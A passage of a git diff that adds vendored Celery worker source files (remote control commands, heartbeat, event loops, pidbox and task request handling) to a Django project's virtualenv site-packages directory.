DEFAULT_TASK_INFO_ITEMS + + tasks = reg if builtins else ( + task for task in reg if not task.startswith('celery.')) + + def _extract_info(task): + fields = { + field: str(getattr(task, field, None)) for field in taskinfoitems + if getattr(task, field, None) is not None + } + if fields: + info = ['='.join(f) for f in fields.items()] + return '{} [{}]'.format(task.name, ' '.join(info)) + return task.name + + return [_extract_info(reg[task]) for task in sorted(tasks)] + + +# -- Debugging + +@inspect_command( + default_timeout=60.0, + args=[('type', str), ('num', int), ('max_depth', int)], + signature='[object_type=Request] [num=200 [max_depth=10]]', +) +def objgraph(state, num=200, max_depth=10, type='Request'): # pragma: no cover + """Create graph of uncollected objects (memory-leak debugging). + + Arguments: + num (int): Max number of objects to graph. + max_depth (int): Traverse at most n levels deep. + type (str): Name of object to graph. Default is ``"Request"``. + """ + try: + import objgraph as _objgraph + except ImportError: + raise ImportError('Requires the objgraph library') + logger.info('Dumping graph for type %r', type) + with tempfile.NamedTemporaryFile(prefix='cobjg', + suffix='.png', delete=False) as fh: + objects = _objgraph.by_type(type)[:num] + _objgraph.show_backrefs( + objects, + max_depth=max_depth, highlight=lambda v: v in objects, + filename=fh.name, + ) + return {'filename': fh.name} + + +@inspect_command() +def memsample(state, **kwargs): + """Sample current RSS memory usage.""" + from celery.utils.debug import sample_mem + return sample_mem() + + +@inspect_command( + args=[('samples', int)], + signature='[n_samples=10]', +) +def memdump(state, samples=10, **kwargs): # pragma: no cover + """Dump statistics of previous memsample requests.""" + from celery.utils import debug + out = io.StringIO() + debug.memdump(file=out) + return out.getvalue() + +# -- Pool + + +@control_command( + args=[('n', int)], + signature='[N=1]', +) +def pool_grow(state, n=1, **kwargs): + """Grow pool by n processes/threads.""" + if state.consumer.controller.autoscaler: + return nok("pool_grow is not supported with autoscale. Adjust autoscale range instead.") + else: + state.consumer.pool.grow(n) + state.consumer._update_prefetch_count(n) + return ok('pool will grow') + + +@control_command( + args=[('n', int)], + signature='[N=1]', +) +def pool_shrink(state, n=1, **kwargs): + """Shrink pool by n processes/threads.""" + if state.consumer.controller.autoscaler: + return nok("pool_shrink is not supported with autoscale. Adjust autoscale range instead.") + else: + state.consumer.pool.shrink(n) + state.consumer._update_prefetch_count(-n) + return ok('pool will shrink') + + +@control_command() +def pool_restart(state, modules=None, reload=False, reloader=None, **kwargs): + """Restart execution pool.""" + if state.app.conf.worker_pool_restarts: + state.consumer.controller.reload(modules, reload, reloader=reloader) + return ok('reload started') + else: + raise ValueError('Pool restarts not enabled') + + +@control_command( + args=[('max', int), ('min', int)], + signature='[max [min]]', +) +def autoscale(state, max=None, min=None): + """Modify autoscale settings.""" + autoscaler = state.consumer.controller.autoscaler + if autoscaler: + max_, min_ = autoscaler.update(max, min) + return ok(f'autoscale now max={max_} min={min_}') + raise ValueError('Autoscale not enabled') + + +@control_command() +def shutdown(state, msg='Got shutdown from remote', **kwargs): + """Shutdown worker(s).""" + logger.warning(msg) + raise WorkerShutdown(msg) + + +# -- Queues + +@control_command( + args=[ + ('queue', str), + ('exchange', str), + ('exchange_type', str), + ('routing_key', str), + ], + signature=' [exchange [type [routing_key]]]', +) +def add_consumer(state, queue, exchange=None, exchange_type=None, + routing_key=None, **options): + """Tell worker(s) to consume from task queue by name.""" + state.consumer.call_soon( + state.consumer.add_task_queue, + queue, exchange, exchange_type or 'direct', routing_key, **options) + return ok(f'add consumer {queue}') + + +@control_command( + args=[('queue', str)], + signature='', +) +def cancel_consumer(state, queue, **_): + """Tell worker(s) to stop consuming from task queue by name.""" + state.consumer.call_soon( + state.consumer.cancel_task_queue, queue, + ) + return ok(f'no longer consuming from {queue}') + + +@inspect_command() +def active_queues(state): + """List the task queues a worker is currently consuming from.""" + if state.consumer.task_consumer: + return [dict(queue.as_dict(recurse=True)) + for queue in state.consumer.task_consumer.queues] + return [] diff --git a/django_lottopy/lib/python3.10/site-packages/celery/worker/heartbeat.py b/django_lottopy/lib/python3.10/site-packages/celery/worker/heartbeat.py new file mode 100644 index 00000000..efdcc3b4 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/worker/heartbeat.py @@ -0,0 +1,61 @@ +"""Heartbeat service. + +This is the internal thread responsible for sending heartbeat events +at regular intervals (may not be an actual thread). +""" +from celery.signals import heartbeat_sent +from celery.utils.sysinfo import load_average + +from .state import SOFTWARE_INFO, active_requests, all_total_count + +__all__ = ('Heart',) + + +class Heart: + """Timer sending heartbeats at regular intervals. + + Arguments: + timer (kombu.asynchronous.timer.Timer): Timer to use. + eventer (celery.events.EventDispatcher): Event dispatcher + to use. + interval (float): Time in seconds between sending + heartbeats. Default is 2 seconds. + """ + + def __init__(self, timer, eventer, interval=None): + self.timer = timer + self.eventer = eventer + self.interval = float(interval or 2.0) + self.tref = None + + # Make event dispatcher start/stop us when enabled/disabled. + self.eventer.on_enabled.add(self.start) + self.eventer.on_disabled.add(self.stop) + + # Only send heartbeat_sent signal if it has receivers. + self._send_sent_signal = ( + heartbeat_sent.send if heartbeat_sent.receivers else None) + + def _send(self, event, retry=True): + if self._send_sent_signal is not None: + self._send_sent_signal(sender=self) + return self.eventer.send(event, freq=self.interval, + active=len(active_requests), + processed=all_total_count[0], + loadavg=load_average(), + retry=retry, + **SOFTWARE_INFO) + + def start(self): + if self.eventer.enabled: + self._send('worker-online') + self.tref = self.timer.call_repeatedly( + self.interval, self._send, ('worker-heartbeat',), + ) + + def stop(self): + if self.tref is not None: + self.timer.cancel(self.tref) + self.tref = None + if self.eventer.enabled: + self._send('worker-offline', retry=False) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/worker/loops.py b/django_lottopy/lib/python3.10/site-packages/celery/worker/loops.py new file mode 100644 index 00000000..0630e679 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/worker/loops.py @@ -0,0 +1,135 @@ +"""The consumers highly-optimized inner loop.""" +import errno +import socket + +from celery import bootsteps +from celery.exceptions import WorkerLostError +from celery.utils.log import get_logger + +from . import state + +__all__ = ('asynloop', 'synloop') + +# pylint: disable=redefined-outer-name +# We cache globals and attribute lookups, so disable this warning. + +logger = get_logger(__name__) + + +def _quick_drain(connection, timeout=0.1): + try: + connection.drain_events(timeout=timeout) + except Exception as exc: # pylint: disable=broad-except + exc_errno = getattr(exc, 'errno', None) + if exc_errno is not None and exc_errno != errno.EAGAIN: + raise + + +def _enable_amqheartbeats(timer, connection, rate=2.0): + heartbeat_error = [None] + + if not connection: + return heartbeat_error + + heartbeat = connection.get_heartbeat_interval() # negotiated + if not (heartbeat and connection.supports_heartbeats): + return heartbeat_error + + def tick(rate): + try: + connection.heartbeat_check(rate) + except Exception as e: + # heartbeat_error is passed by reference can be updated + # no append here list should be fixed size=1 + heartbeat_error[0] = e + + timer.call_repeatedly(heartbeat / rate, tick, (rate,)) + return heartbeat_error + + +def asynloop(obj, connection, consumer, blueprint, hub, qos, + heartbeat, clock, hbrate=2.0): + """Non-blocking event loop.""" + RUN = bootsteps.RUN + update_qos = qos.update + errors = connection.connection_errors + + on_task_received = obj.create_task_handler() + + heartbeat_error = _enable_amqheartbeats(hub.timer, connection, rate=hbrate) + + consumer.on_message = on_task_received + obj.controller.register_with_event_loop(hub) + obj.register_with_event_loop(hub) + consumer.consume() + obj.on_ready() + + # did_start_ok will verify that pool processes were able to start, + # but this will only work the first time we start, as + # maxtasksperchild will mess up metrics. + if not obj.restart_count and not obj.pool.did_start_ok(): + raise WorkerLostError('Could not start worker processes') + + # consumer.consume() may have prefetched up to our + # limit - drain an event so we're in a clean state + # prior to starting our event loop. + if connection.transport.driver_type == 'amqp': + hub.call_soon(_quick_drain, connection) + + # FIXME: Use loop.run_forever + # Tried and works, but no time to test properly before release. + hub.propagate_errors = errors + loop = hub.create_loop() + + try: + while blueprint.state == RUN and obj.connection: + state.maybe_shutdown() + if heartbeat_error[0] is not None: + raise heartbeat_error[0] + + # We only update QoS when there's no more messages to read. + # This groups together qos calls, and makes sure that remote + # control commands will be prioritized over task messages. + if qos.prev != qos.value: + update_qos() + + try: + next(loop) + except StopIteration: + loop = hub.create_loop() + finally: + try: + hub.reset() + except Exception as exc: # pylint: disable=broad-except + logger.exception( + 'Error cleaning up after event loop: %r', exc) + + +def synloop(obj, connection, consumer, blueprint, hub, qos, + heartbeat, clock, hbrate=2.0, **kwargs): + """Fallback blocking event loop for transports that doesn't support AIO.""" + RUN = bootsteps.RUN + on_task_received = obj.create_task_handler() + perform_pending_operations = obj.perform_pending_operations + heartbeat_error = [None] + if getattr(obj.pool, 'is_green', False): + heartbeat_error = _enable_amqheartbeats(obj.timer, connection, rate=hbrate) + consumer.on_message = on_task_received + consumer.consume() + + obj.on_ready() + + while blueprint.state == RUN and obj.connection: + state.maybe_shutdown() + if heartbeat_error[0] is not None: + raise heartbeat_error[0] + if qos.prev != qos.value: + qos.update() + try: + perform_pending_operations() + connection.drain_events(timeout=2.0) + except socket.timeout: + pass + except OSError: + if blueprint.state == RUN: + raise diff --git a/django_lottopy/lib/python3.10/site-packages/celery/worker/pidbox.py b/django_lottopy/lib/python3.10/site-packages/celery/worker/pidbox.py new file mode 100644 index 00000000..a18b4338 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/worker/pidbox.py @@ -0,0 +1,122 @@ +"""Worker Pidbox (remote control).""" +import socket +import threading + +from kombu.common import ignore_errors +from kombu.utils.encoding import safe_str + +from celery.utils.collections import AttributeDict +from celery.utils.functional import pass1 +from celery.utils.log import get_logger + +from . import control + +__all__ = ('Pidbox', 'gPidbox') + +logger = get_logger(__name__) +debug, error, info = logger.debug, logger.error, logger.info + + +class Pidbox: + """Worker mailbox.""" + + consumer = None + + def __init__(self, c): + self.c = c + self.hostname = c.hostname + self.node = c.app.control.mailbox.Node( + safe_str(c.hostname), + handlers=control.Panel.data, + state=AttributeDict( + app=c.app, + hostname=c.hostname, + consumer=c, + tset=pass1 if c.controller.use_eventloop else set), + ) + self._forward_clock = self.c.app.clock.forward + + def on_message(self, body, message): + # just increase clock as clients usually don't + # have a valid clock to adjust with. + self._forward_clock() + try: + self.node.handle_message(body, message) + except KeyError as exc: + error('No such control command: %s', exc) + except Exception as exc: + error('Control command error: %r', exc, exc_info=True) + self.reset() + + def start(self, c): + self.node.channel = c.connection.channel() + self.consumer = self.node.listen(callback=self.on_message) + self.consumer.on_decode_error = c.on_decode_error + + def on_stop(self): + pass + + def stop(self, c): + self.on_stop() + self.consumer = self._close_channel(c) + + def reset(self): + self.stop(self.c) + self.start(self.c) + + def _close_channel(self, c): + if self.node and self.node.channel: + ignore_errors(c, self.node.channel.close) + + def shutdown(self, c): + self.on_stop() + if self.consumer: + debug('Canceling broadcast consumer...') + ignore_errors(c, self.consumer.cancel) + self.stop(self.c) + + +class gPidbox(Pidbox): + """Worker pidbox (greenlet).""" + + _node_shutdown = None + _node_stopped = None + _resets = 0 + + def start(self, c): + c.pool.spawn_n(self.loop, c) + + def on_stop(self): + if self._node_stopped: + self._node_shutdown.set() + debug('Waiting for broadcast thread to shutdown...') + self._node_stopped.wait() + self._node_stopped = self._node_shutdown = None + + def reset(self): + self._resets += 1 + + def _do_reset(self, c, connection): + self._close_channel(c) + self.node.channel = connection.channel() + self.consumer = self.node.listen(callback=self.on_message) + self.consumer.consume() + + def loop(self, c): + resets = [self._resets] + shutdown = self._node_shutdown = threading.Event() + stopped = self._node_stopped = threading.Event() + try: + with c.connection_for_read() as connection: + info('pidbox: Connected to %s.', connection.as_uri()) + self._do_reset(c, connection) + while not shutdown.is_set() and c.connection: + if resets[0] < self._resets: + resets[0] += 1 + self._do_reset(c, connection) + try: + connection.drain_events(timeout=1.0) + except socket.timeout: + pass + finally: + stopped.set() diff --git a/django_lottopy/lib/python3.10/site-packages/celery/worker/request.py b/django_lottopy/lib/python3.10/site-packages/celery/worker/request.py new file mode 100644 index 00000000..fb6d60e6 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/worker/request.py @@ -0,0 +1,741 @@ +"""Task request. + +This module defines the :class:`Request` class, that specifies +how tasks are executed. +""" +import logging +import sys +from datetime import datetime +from time import monotonic, time +from weakref import ref + +from billiard.common import TERM_SIGNAME +from kombu.utils.encoding import safe_repr, safe_str +from kombu.utils.objects import cached_property + +from celery import current_app, signals +from celery.app.task import Context +from celery.app.trace import fast_trace_task, trace_task, trace_task_ret +from celery.exceptions import (Ignore, InvalidTaskError, Reject, Retry, + TaskRevokedError, Terminated, + TimeLimitExceeded, WorkerLostError) +from celery.platforms import signals as _signals +from celery.utils.functional import maybe, noop +from celery.utils.log import get_logger +from celery.utils.nodenames import gethostname +from celery.utils.serialization import get_pickled_exception +from celery.utils.time import maybe_iso8601, maybe_make_aware, timezone + +from . import state + +__all__ = ('Request',) + +# pylint: disable=redefined-outer-name +# We cache globals and attribute lookups, so disable this warning. + +IS_PYPY = hasattr(sys, 'pypy_version_info') + +logger = get_logger(__name__) +debug, info, warn, error = (logger.debug, logger.info, + logger.warning, logger.error) +_does_info = False +_does_debug = False + + +def __optimize__(): + # this is also called by celery.app.trace.setup_worker_optimizations + global _does_debug + global _does_info + _does_debug = logger.isEnabledFor(logging.DEBUG) + _does_info = logger.isEnabledFor(logging.INFO) + + +__optimize__() + +# Localize +tz_or_local = timezone.tz_or_local +send_revoked = signals.task_revoked.send +send_retry = signals.task_retry.send + +task_accepted = state.task_accepted +task_ready = state.task_ready +revoked_tasks = state.revoked + + +class Request: + """A request for task execution.""" + + acknowledged = False + time_start = None + worker_pid = None + time_limits = (None, None) + _already_revoked = False + _already_cancelled = False + _terminate_on_ack = None + _apply_result = None + _tzlocal = None + + if not IS_PYPY: # pragma: no cover + __slots__ = ( + '_app', '_type', 'name', 'id', '_root_id', '_parent_id', + '_on_ack', '_body', '_hostname', '_eventer', '_connection_errors', + '_task', '_eta', '_expires', '_request_dict', '_on_reject', '_utc', + '_content_type', '_content_encoding', '_argsrepr', '_kwargsrepr', + '_args', '_kwargs', '_decoded', '__payload', + '__weakref__', '__dict__', + ) + + def __init__(self, message, on_ack=noop, + hostname=None, eventer=None, app=None, + connection_errors=None, request_dict=None, + task=None, on_reject=noop, body=None, + headers=None, decoded=False, utc=True, + maybe_make_aware=maybe_make_aware, + maybe_iso8601=maybe_iso8601, **opts): + self._message = message + self._request_dict = (message.headers.copy() if headers is None + else headers.copy()) + self._body = message.body if body is None else body + self._app = app + self._utc = utc + self._decoded = decoded + if decoded: + self._content_type = self._content_encoding = None + else: + self._content_type, self._content_encoding = ( + message.content_type, message.content_encoding, + ) + self.__payload = self._body if self._decoded else message.payload + self.id = self._request_dict['id'] + self._type = self.name = self._request_dict['task'] + if 'shadow' in self._request_dict: + self.name = self._request_dict['shadow'] or self.name + self._root_id = self._request_dict.get('root_id') + self._parent_id = self._request_dict.get('parent_id') + timelimit = self._request_dict.get('timelimit', None) + if timelimit: + self.time_limits = timelimit + self._argsrepr = self._request_dict.get('argsrepr', '') + self._kwargsrepr = self._request_dict.get('kwargsrepr', '') + self._on_ack = on_ack + self._on_reject = on_reject + self._hostname = hostname or gethostname() + self._eventer = eventer + self._connection_errors = connection_errors or () + self._task = task or self._app.tasks[self._type] + self._ignore_result = self._request_dict.get('ignore_result', False) + + # timezone means the message is timezone-aware, and the only timezone + # supported at this point is UTC. + eta = self._request_dict.get('eta') + if eta is not None: + try: + eta = maybe_iso8601(eta) + except (AttributeError, ValueError, TypeError) as exc: + raise InvalidTaskError( + f'invalid ETA value {eta!r}: {exc}') + self._eta = maybe_make_aware(eta, self.tzlocal) + else: + self._eta = None + + expires = self._request_dict.get('expires') + if expires is not None: + try: + expires = maybe_iso8601(expires) + except (AttributeError, ValueError, TypeError) as exc: + raise InvalidTaskError( + f'invalid expires value {expires!r}: {exc}') + self._expires = maybe_make_aware(expires, self.tzlocal) + else: + self._expires = None + + delivery_info = message.delivery_info or {} + properties = message.properties or {} + self._delivery_info = { + 'exchange': delivery_info.get('exchange'), + 'routing_key': delivery_info.get('routing_key'), + 'priority': properties.get('priority'), + 'redelivered': delivery_info.get('redelivered'), + } + self._request_dict.update({ + 'properties': properties, + 'reply_to': properties.get('reply_to'), + 'correlation_id': properties.get('correlation_id'), + 'hostname': self._hostname, + 'delivery_info': self._delivery_info + }) + # this is a reference pass to avoid memory usage burst + self._request_dict['args'], self._request_dict['kwargs'], _ = self.__payload + self._args = self._request_dict['args'] + self._kwargs = self._request_dict['kwargs'] + + @property + def delivery_info(self): + return self._delivery_info + + @property + def message(self): + return self._message + + @property + def request_dict(self): + return self._request_dict + + @property + def body(self): + return self._body + + @property + def app(self): + return self._app + + @property + def utc(self): + return self._utc + + @property + def content_type(self): + return self._content_type + + @property + def content_encoding(self): + return self._content_encoding + + @property + def type(self): + return self._type + + @property + def root_id(self): + return self._root_id + + @property + def parent_id(self): + return self._parent_id + + @property + def argsrepr(self): + return self._argsrepr + + @property + def args(self): + return self._args + + @property + def kwargs(self): + return self._kwargs + + @property + def kwargsrepr(self): + return self._kwargsrepr + + @property + def on_ack(self): + return self._on_ack + + @property + def on_reject(self): + return self._on_reject + + @on_reject.setter + def on_reject(self, value): + self._on_reject = value + + @property + def hostname(self): + return self._hostname + + @property + def ignore_result(self): + return self._ignore_result + + @property + def eventer(self): + return self._eventer + + @eventer.setter + def eventer(self, eventer): + self._eventer = eventer + + @property + def connection_errors(self): + return self._connection_errors + + @property + def task(self): + return self._task + + @property + def eta(self): + return self._eta + + @property + def expires(self): + return self._expires + + @expires.setter + def expires(self, value): + self._expires = value + + @property + def tzlocal(self): + if self._tzlocal is None: + self._tzlocal = self._app.conf.timezone + return self._tzlocal + + @property + def store_errors(self): + return (not self.task.ignore_result or + self.task.store_errors_even_if_ignored) + + @property + def task_id(self): + # XXX compat + return self.id + + @task_id.setter + def task_id(self, value): + self.id = value + + @property + def task_name(self): + # XXX compat + return self.name + + @task_name.setter + def task_name(self, value): + self.name = value + + @property + def reply_to(self): + # used by rpc backend when failures reported by parent process + return self._request_dict['reply_to'] + + @property + def replaced_task_nesting(self): + return self._request_dict.get('replaced_task_nesting', 0) + + @property + def correlation_id(self): + # used similarly to reply_to + return self._request_dict['correlation_id'] + + def execute_using_pool(self, pool, **kwargs): + """Used by the worker to send this task to the pool. + + Arguments: + pool (~celery.concurrency.base.TaskPool): The execution pool + used to execute this request. + + Raises: + celery.exceptions.TaskRevokedError: if the task was revoked. + """ + task_id = self.id + task = self._task + if self.revoked(): + raise TaskRevokedError(task_id) + + time_limit, soft_time_limit = self.time_limits + trace = fast_trace_task if self._app.use_fast_trace_task else trace_task_ret + result = pool.apply_async( + trace, + args=(self._type, task_id, self._request_dict, self._body, + self._content_type, self._content_encoding), + accept_callback=self.on_accepted, + timeout_callback=self.on_timeout, + callback=self.on_success, + error_callback=self.on_failure, + soft_timeout=soft_time_limit or task.soft_time_limit, + timeout=time_limit or task.time_limit, + correlation_id=task_id, + ) + # cannot create weakref to None + self._apply_result = maybe(ref, result) + return result + + def execute(self, loglevel=None, logfile=None): + """Execute the task in a :func:`~celery.app.trace.trace_task`. + + Arguments: + loglevel (int): The loglevel used by the task. + logfile (str): The logfile used by the task. + """ + if self.revoked(): + return + + # acknowledge task as being processed. + if not self.task.acks_late: + self.acknowledge() + + _, _, embed = self._payload + request = self._request_dict + # pylint: disable=unpacking-non-sequence + # payload is a property, so pylint doesn't think it's a tuple. + request.update({ + 'loglevel': loglevel, + 'logfile': logfile, + 'is_eager': False, + }, **embed or {}) + + retval, I, _, _ = trace_task(self.task, self.id, self._args, self._kwargs, request, + hostname=self._hostname, loader=self._app.loader, + app=self._app) + + if I: + self.reject(requeue=False) + else: + self.acknowledge() + return retval + + def maybe_expire(self): + """If expired, mark the task as revoked.""" + if self._expires: + now = datetime.now(self._expires.tzinfo) + if now > self._expires: + revoked_tasks.add(self.id) + return True + + def terminate(self, pool, signal=None): + signal = _signals.signum(signal or TERM_SIGNAME) + if self.time_start: + pool.terminate_job(self.worker_pid, signal) + self._announce_revoked('terminated', True, signal, False) + else: + self._terminate_on_ack = pool, signal + if self._apply_result is not None: + obj = self._apply_result() # is a weakref + if obj is not None: + obj.terminate(signal) + + def cancel(self, pool, signal=None): + signal = _signals.signum(signal or TERM_SIGNAME) + if self.time_start: + pool.terminate_job(self.worker_pid, signal) + self._announce_cancelled() + + if self._apply_result is not None: + obj = self._apply_result() # is a weakref + if obj is not None: + obj.terminate(signal) + + def _announce_cancelled(self): + task_ready(self) + self.send_event('task-cancelled') + reason = 'cancelled by Celery' + exc = Retry(message=reason) + self.task.backend.mark_as_retry(self.id, + exc, + request=self._context) + + self.task.on_retry(exc, self.id, self.args, self.kwargs, None) + self._already_cancelled = True + send_retry(self.task, request=self._context, einfo=None) + + def _announce_revoked(self, reason, terminated, signum, expired): + task_ready(self) + self.send_event('task-revoked', + terminated=terminated, signum=signum, expired=expired) + self.task.backend.mark_as_revoked( + self.id, reason, request=self._context, + store_result=self.store_errors, + ) + self.acknowledge() + self._already_revoked = True + send_revoked(self.task, request=self._context, + terminated=terminated, signum=signum, expired=expired) + + def revoked(self): + """If revoked, skip task and mark state.""" + expired = False + if self._already_revoked: + return True + if self._expires: + expired = self.maybe_expire() + if self.id in revoked_tasks: + info('Discarding revoked task: %s[%s]', self.name, self.id) + self._announce_revoked( + 'expired' if expired else 'revoked', False, None, expired, + ) + return True + return False + + def send_event(self, type, **fields): + if self._eventer and self._eventer.enabled and self.task.send_events: + self._eventer.send(type, uuid=self.id, **fields) + + def on_accepted(self, pid, time_accepted): + """Handler called when task is accepted by worker pool.""" + self.worker_pid = pid + # Convert monotonic time_accepted to absolute time + self.time_start = time() - (monotonic() - time_accepted) + task_accepted(self) + if not self.task.acks_late: + self.acknowledge() + self.send_event('task-started') + if _does_debug: + debug('Task accepted: %s[%s] pid:%r', self.name, self.id, pid) + if self._terminate_on_ack is not None: + self.terminate(*self._terminate_on_ack) + + def on_timeout(self, soft, timeout): + """Handler called if the task times out.""" + if soft: + warn('Soft time limit (%ss) exceeded for %s[%s]', + timeout, self.name, self.id) + else: + task_ready(self) + error('Hard time limit (%ss) exceeded for %s[%s]', + timeout, self.name, self.id) + exc = TimeLimitExceeded(timeout) + + self.task.backend.mark_as_failure( + self.id, exc, request=self._context, + store_result=self.store_errors, + ) + + if self.task.acks_late and self.task.acks_on_failure_or_timeout: + self.acknowledge() + + def on_success(self, failed__retval__runtime, **kwargs): + """Handler called if the task was successfully processed.""" + failed, retval, runtime = failed__retval__runtime + if failed: + if isinstance(retval.exception, (SystemExit, KeyboardInterrupt)): + raise retval.exception + return self.on_failure(retval, return_ok=True) + task_ready(self, successful=True) + + if self.task.acks_late: + self.acknowledge() + + self.send_event('task-succeeded', result=retval, runtime=runtime) + + def on_retry(self, exc_info): + """Handler called if the task should be retried.""" + if self.task.acks_late: + self.acknowledge() + + self.send_event('task-retried', + exception=safe_repr(exc_info.exception.exc), + traceback=safe_str(exc_info.traceback)) + + def on_failure(self, exc_info, send_failed_event=True, return_ok=False): + """Handler called if the task raised an exception.""" + task_ready(self) + exc = exc_info.exception + + is_terminated = isinstance(exc, Terminated) + if is_terminated: + # If the task was terminated and the task was not cancelled due + # to a connection loss, it is revoked. + + # We always cancel the tasks inside the master process. + # If the request was cancelled, it was not revoked and there's + # nothing to be done. + # According to the comment below, we need to check if the task + # is already revoked and if it wasn't, we should announce that + # it was. + if not self._already_cancelled and not self._already_revoked: + # This is a special case where the process + # would not have had time to write the result. + self._announce_revoked( + 'terminated', True, str(exc), False) + return + elif isinstance(exc, MemoryError): + raise MemoryError(f'Process got: {exc}') + elif isinstance(exc, Reject): + return self.reject(requeue=exc.requeue) + elif isinstance(exc, Ignore): + return self.acknowledge() + elif isinstance(exc, Retry): + return self.on_retry(exc_info) + + # (acks_late) acknowledge after result stored. + requeue = False + is_worker_lost = isinstance(exc, WorkerLostError) + if self.task.acks_late: + reject = ( + self.task.reject_on_worker_lost and + is_worker_lost + ) + ack = self.task.acks_on_failure_or_timeout + if reject: + requeue = True + self.reject(requeue=requeue) + send_failed_event = False + elif ack: + self.acknowledge() + else: + # supporting the behaviour where a task failed and + # need to be removed from prefetched local queue + self.reject(requeue=False) + + # This is a special case where the process would not have had time + # to write the result. + if not requeue and (is_worker_lost or not return_ok): + # only mark as failure if task has not been requeued + self.task.backend.mark_as_failure( + self.id, exc, request=self._context, + store_result=self.store_errors, + ) + + signals.task_failure.send(sender=self.task, task_id=self.id, + exception=exc, args=self.args, + kwargs=self.kwargs, + traceback=exc_info.traceback, + einfo=exc_info) + + if send_failed_event: + self.send_event( + 'task-failed', + exception=safe_repr(get_pickled_exception(exc_info.exception)), + traceback=exc_info.traceback, + ) + + if not return_ok: + error('Task handler raised error: %r', exc, + exc_info=exc_info.exc_info) + + def acknowledge(self): + """Acknowledge task.""" + if not self.acknowledged: + self._on_ack(logger, self._connection_errors) + self.acknowledged = True + + def reject(self, requeue=False): + if not self.acknowledged: + self._on_reject(logger, self._connection_errors, requeue) + self.acknowledged = True + self.send_event('task-rejected', requeue=requeue) + + def info(self, safe=False): + return { + 'id': self.id, + 'name': self.name, + 'args': self._args if not safe else self._argsrepr, + 'kwargs': self._kwargs if not safe else self._kwargsrepr, + 'type': self._type, + 'hostname': self._hostname, + 'time_start': self.time_start, + 'acknowledged': self.acknowledged, + 'delivery_info': self.delivery_info, + 'worker_pid': self.worker_pid, + } + + def humaninfo(self): + return '{0.name}[{0.id}]'.format(self) + + def __str__(self): + """``str(self)``.""" + return ' '.join([ + self.humaninfo(), + f' ETA:[{self._eta}]' if self._eta else '', + f' expires:[{self._expires}]' if self._expires else '', + ]).strip() + + def __repr__(self): + """``repr(self)``.""" + return '<{}: {} {} {}>'.format( + type(self).__name__, self.humaninfo(), + self._argsrepr, self._kwargsrepr, + ) + + @cached_property + def _payload(self): + return self.__payload + + @cached_property + def chord(self): + # used by backend.mark_as_failure when failure is reported + # by parent process + # pylint: disable=unpacking-non-sequence + # payload is a property, so pylint doesn't think it's a tuple. + _, _, embed = self._payload + return embed.get('chord') + + @cached_property + def errbacks(self): + # used by backend.mark_as_failure when failure is reported + # by parent process + # pylint: disable=unpacking-non-sequence + # payload is a property, so pylint doesn't think it's a tuple. + _, _, embed = self._payload + return embed.get('errbacks') + + @cached_property + def group(self): + # used by backend.on_chord_part_return when failures reported + # by parent process + return self._request_dict.get('group') + + @cached_property + def _context(self): + """Context (:class:`~celery.app.task.Context`) of this task.""" + request = self._request_dict + # pylint: disable=unpacking-non-sequence + # payload is a property, so pylint doesn't think it's a tuple. + _, _, embed = self._payload + request.update(**embed or {}) + return Context(request) + + @cached_property + def group_index(self): + # used by backend.on_chord_part_return to order return values in group + return self._request_dict.get('group_index') + + +def create_request_cls(base, task, pool, hostname, eventer, + ref=ref, revoked_tasks=revoked_tasks, + task_ready=task_ready, trace=None, app=current_app): + default_time_limit = task.time_limit + default_soft_time_limit = task.soft_time_limit + apply_async = pool.apply_async + acks_late = task.acks_late + events = eventer and eventer.enabled + + if trace is None: + trace = fast_trace_task if app.use_fast_trace_task else trace_task_ret + + class Request(base): + + def execute_using_pool(self, pool, **kwargs): + task_id = self.task_id + if (self.expires or task_id in revoked_tasks) and self.revoked(): + raise TaskRevokedError(task_id) + + time_limit, soft_time_limit = self.time_limits + result = apply_async( + trace, + args=(self.type, task_id, self.request_dict, self.body, + self.content_type, self.content_encoding), + accept_callback=self.on_accepted, + timeout_callback=self.on_timeout, + callback=self.on_success, + error_callback=self.on_failure, + soft_timeout=soft_time_limit or default_soft_time_limit, + timeout=time_limit or default_time_limit, + correlation_id=task_id, + ) + # cannot create weakref to None + # pylint: disable=attribute-defined-outside-init + self._apply_result = maybe(ref, result) + return result + + def on_success(self, failed__retval__runtime, **kwargs): + failed, retval, runtime = failed__retval__runtime + if failed: + if isinstance(retval.exception, ( + SystemExit, KeyboardInterrupt)): + raise retval.exception + return self.on_failure(retval, return_ok=True) + task_ready(self) + + if acks_late: + self.acknowledge() + + if events: + self.send_event( + 'task-succeeded', result=retval, runtime=runtime, + ) + + return Request diff --git a/django_lottopy/lib/python3.10/site-packages/celery/worker/state.py b/django_lottopy/lib/python3.10/site-packages/celery/worker/state.py new file mode 100644 index 00000000..3afb2e8e --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/worker/state.py @@ -0,0 +1,282 @@ +"""Internal worker state (global). + +This includes the currently active and reserved tasks, +statistics, and revoked tasks. +""" +import os +import platform +import shelve +import sys +import weakref +import zlib +from collections import Counter + +from kombu.serialization import pickle, pickle_protocol +from kombu.utils.objects import cached_property + +from celery import __version__ +from celery.exceptions import WorkerShutdown, WorkerTerminate +from celery.utils.collections import LimitedSet + +__all__ = ( + 'SOFTWARE_INFO', 'reserved_requests', 'active_requests', + 'total_count', 'revoked', 'task_reserved', 'maybe_shutdown', + 'task_accepted', 'task_ready', 'Persistent', +) + +#: Worker software/platform information. +SOFTWARE_INFO = { + 'sw_ident': 'py-celery', + 'sw_ver': __version__, + 'sw_sys': platform.system(), +} + +#: maximum number of revokes to keep in memory. +REVOKES_MAX = 50000 + +#: maximum number of successful tasks to keep in memory. +SUCCESSFUL_MAX = 1000 + +#: how many seconds a revoke will be active before +#: being expired when the max limit has been exceeded. +REVOKE_EXPIRES = 10800 + +#: how many seconds a successful task will be cached in memory +#: before being expired when the max limit has been exceeded. +SUCCESSFUL_EXPIRES = 10800 + +#: Mapping of reserved task_id->Request. +requests = {} + +#: set of all reserved :class:`~celery.worker.request.Request`'s. +reserved_requests = weakref.WeakSet() + +#: set of currently active :class:`~celery.worker.request.Request`'s. +active_requests = weakref.WeakSet() + +#: A limited set of successful :class:`~celery.worker.request.Request`'s. +successful_requests = LimitedSet(maxlen=SUCCESSFUL_MAX, + expires=SUCCESSFUL_EXPIRES) + +#: count of tasks 